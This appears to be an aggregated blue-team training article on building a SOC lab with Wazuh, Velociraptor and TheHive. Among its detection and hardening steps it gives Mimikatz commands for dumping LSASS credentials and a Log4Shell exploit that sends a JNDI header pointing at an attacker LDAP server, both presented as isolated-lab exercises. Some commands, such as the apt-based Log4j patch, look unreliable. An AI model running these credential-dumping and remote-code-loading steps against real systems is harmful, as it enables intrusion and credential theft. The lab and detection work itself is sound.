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Introduction:
Security Operations Centers (SOCs) are the front line of enterprise defense, yet most training focuses on theory instead of hands-on threat hunting. This article extracts live resources from a curated cybersecurity share, transforming raw links into a complete blue-team lab blueprint—covering SIEM deployment, log analysis, and adversary emulation using open-source tools.
Learning Objectives:
- Deploy a production-like SOC stack (Wazuh + TheHive + Velociraptor) on Linux and Windows.
- Write and test custom detection rules against real attack patterns (Mimikatz, PowerShell abuse, persistence).
- Automate incident response workflows using API integrations and cloud hardening scripts.
You Should Know:
- Deploying a Free SIEM with Wazuh (Linux + Windows Agents)
This guide extracts the core SIEM setup from shared training links. Wazuh provides intrusion detection, file integrity monitoring, and compliance reporting.
Step‑by‑step guide:
On Ubuntu 22.04 LTS (SIEM server):
Install Wazuh all-in-one (manager + indexer + dashboard) curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash wazuh-install.sh --generate-config-files sudo bash wazuh-install.sh --wazuh-indexer node-1 sudo bash wazuh-install.sh --start-cluster Access dashboard at https://your-server-ip:443 (admin credentials in /var/log/wazuh-install.log)
On Windows endpoint (agent):
Download and install Wazuh agent MSI from shared repo Invoke-WebRequest -Uri "https://packages.wazuh.com/4.x/windows/wazuh-agent-4.7.0-1.msi" -OutFile "$env:TEMP\wazuh-agent.msi" msiexec.exe /i "$env:TEMP\wazuh-agent.msi" WAZUH_MANAGER="10.0.0.10" WAZUH_REGISTRATION_PASSWORD="changeme" /quiet Verify agent connection net start WazuhSvc Get-Service WazuhSvc | Select Status
What this does: Centralizes logs, detects file changes (e.g., C:\Windows\System32\drivers\etc\hosts), and alerts on suspicious processes. Use `tail -f /var/ossec/logs/alerts.json` on the manager to see real-time events.
2. Writing Custom Detection Rules for Mimikatz
Mimikatz is a credential theft tool heavily abused in post‑exploitation. Extracting from SOC training, here’s a rule to catch its default memory pattern.
Step‑by‑step guide (Linux manager):
Edit `/var/ossec/etc/rules/local_rules.xml`:
<group name="windows,sysmon,credential_access,"> <rule id="100010" level="12"> <if_sid>60150</if_sid> <!-- Sysmon Event ID 10 (ProcessAccess) --> <field name="win.eventdata.targetImage">\lsass.exe$</field> <field name="win.eventdata.callTrace">.mimikatz.|.sekurlsa.</field> <description>Mimikatz access to LSASS detected</description> <group>credential_dumping,</group> </rule> </group>
Restart Wazuh: `sudo systemctl restart wazuh-manager`
To test (Windows – only on isolated lab):
Download Mimikatz from trusted test repo (do not run in production) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip" -OutFile "$env:TEMP\mimikatz.zip" Expand-Archive -Path "$env:TEMP\mimikatz.zip" -DestinationPath "$env:TEMP\mimikatz" .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
The rule triggers within 5 seconds; check the Wazuh dashboard under “Security Events.”
- API Security Hardening for Cloud SOC (AWS + Azure)
Extracted from cloud training modules: securing SIEM APIs prevents attackers from disabling alerts. Implement these steps for Wazuh’s REST API.
Step‑by‑step guide:
On Linux manager:
Generate a strong API key (instead of default) sudo /var/ossec/bin/wazuh-apikey --generate -n soc-analyst -r administrator Output: API key eyJhbGciOiJIUzI1NiIs... Enforce TLS 1.2+ only sudo sed -i 's/ssl_protocols/ssl_protocols TLSv1.2 TLSv1.3/g' /etc/nginx/nginx.conf sudo systemctl restart nginx
Rate limiting with iptables (prevent brute‑force):
sudo iptables -A INPUT -p tcp --dport 55000 -m limit --limit 10/minute -j ACCEPT sudo iptables -A INPUT -p tcp --dport 55000 -j DROP
Windows cloud (Azure Sentinel) API hardening:
Rotate Microsoft Sentinel API keys via Azure CLI
az monitor log-analytics workspace get-shared-keys --resource-group "SOC-RG" --workspace-name "soc-workspace" --query "primarySharedKey" -o tsv
Restrict API calls to specific IPs (Azure NSG)
$rule = @{
Name = "Restrict_SIEM_API"
Access = "Allow"
Protocol = "Tcp"
Direction = "Inbound"
SourceAddressPrefix = "203.0.113.0/24"
DestinationPortRange = "443"
}
Add-AzNetworkSecurityRuleConfig @rule -NetworkSecurityGroup $nsg
- Threat Hunting with Velociraptor (Linux & Windows Commands)
Velociraptor excels at endpoint visibility. Extract from the shared post: deploy a Velociraptor server and run an offensive hunting query for WMI persistence.
Step‑by‑step guide:
Server setup (Ubuntu):
wget https://github.com/Velocidex/velociraptor/releases/download/v0.7.2/velociraptor-v0.7.2-linux-amd64 chmod +x velociraptor-v0.7.2-linux-amd64 sudo ./velociraptor-v0.7.2-linux-amd64 config generate -i Answer prompts: frontend IP, GUI port 8889 sudo ./velociraptor-v0.7.2-linux-amd64 --config server.config.yaml frontend -v
Deploy Windows client (MSI via GPO or manually):
Download client Invoke-WebRequest -Uri "https://github.com/Velocidex/velociraptor/releases/download/v0.7.2/Velociraptor-0.7.2-64bit.msi" -OutFile "$env:TEMP\velociraptor.msi" msiexec /i "$env:TEMP\velociraptor.msi" CONFIG="path\to\client.config.yaml" /quiet
Hunt for WMI persistence (Velociraptor VQL query inside GUI):
SELECT FROM wmi(query="SELECT FROM __FilterToConsumerBinding") SELECT FROM registry(key="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\Scripts")
5. Vulnerability Exploitation & Mitigation (Log4j Lab)
Extracted from IT security courses: simulate Log4j (CVE-2021-44228) in a controlled VM and apply cloud hardening.
Step‑by‑step guide (Linux – attacker perspective, use isolated lab):
Start a vulnerable Log4j app (Docker):
docker run -p 8080:8080 --name log4shell-lab ghcr.io/christophetd/log4shell-vulnerable-app
Exploit (attacker machine):
Set up LDAP referral server
java -jar JNDIExploit-1.2.jar -i your-ip -p 8888
Trigger via curl
curl -X POST -H "X-Api-Version: ${jndi:ldap://your-ip:8888/Exploit}" http://target-ip:8080/api
Mitigation (Linux & cloud):
Patch JVM (update log4j to 2.17.1+)
sudo apt-get install log4j2=2.17.1
Cloud WAF rule (AWS WAF)
aws wafv2 create-web-acl --name block-log4j --scope REGIONAL --default-action Block={} --rules '{"Name":"Log4jHeader","Priority":1,"Statement":{"ByteMatchStatement":{"SearchString":"${jndi:","FieldToMatch":{"Headers":{"MatchPattern":".","MatchScope":"ALL"}},"TextTransformation":["NONE"]}},"Action":{"Block":{}},"VisibilityConfig":{"SampledRequestsEnabled":true,"CloudWatchMetricsEnabled":true,"MetricName":"Log4jHeaderRule"}}}'
6. Automating Incident Response with TheHive + Cortex
Extracted from blue-team training: build a free SOAR (Security Orchestration, Automation, Response).
Step‑by‑step guide (Ubuntu):
Install TheHive (using package):
wget https://github.com/TheHive-Project/TheHive/releases/download/v5.2.2/thehive-5.2.2.deb sudo dpkg -i thehive-5.2.2.deb Start service sudo systemctl start thehive
Create a Python responder (isolate IP on detection):
import requests
import os
THEHIVE_URL = "http://localhost:9000"
API_KEY = "your-api-key"
FIREWALL_CMD = "netsh advfirewall firewall add rule name='BLOCK_IP' dir=in action=block remoteip={ip}"
def isolate_alert(alert_id):
r = requests.get(f"{THEHIVE_URL}/api/alert/{alert_id}", headers={"Authorization": f"Bearer {API_KEY}"})
ip = r.json()["sourceRef"]
os.system(FIREWALL_CMD.format(ip=ip))
print(f"Blocked {ip} via Windows firewall")
Schedule the script via Task Scheduler (Windows) or cron (Linux) every 5 minutes.
What Undercode Say:
- Blue-team success relies on automation – manual hunting doesn’t scale; combining Wazuh + Velociraptor + TheHive gives you a $0 EDR/SOAR.
- Detection is only half the battle – the extracted links emphasize response playbooks; always pair a rule with an automated containment action (API firewall blocks, agent quarantine).
- Cloud hardening demands defense-in-depth – one Log4j bypass can destroy unpatched workloads; use WAF, network ACLs, and regular vulnerability scanning (e.g., OpenVAS from the training).
Prediction:
By 2026, SOC teams will shift entirely to open-source toolchains augmented by lightweight AI log analyzers. Entry-level analysts who master free stacks (Wazuh, TheHive, Velociraptor) will out-earn peers holding expensive certifications but lacking lab experience. The shared LinkedIn resources point to a growing “build, don’t buy” movement – expect more community-driven detection rules and adversary emulation plans replacing legacy SIEMs.
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Reported By: Dharamveer Prasad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
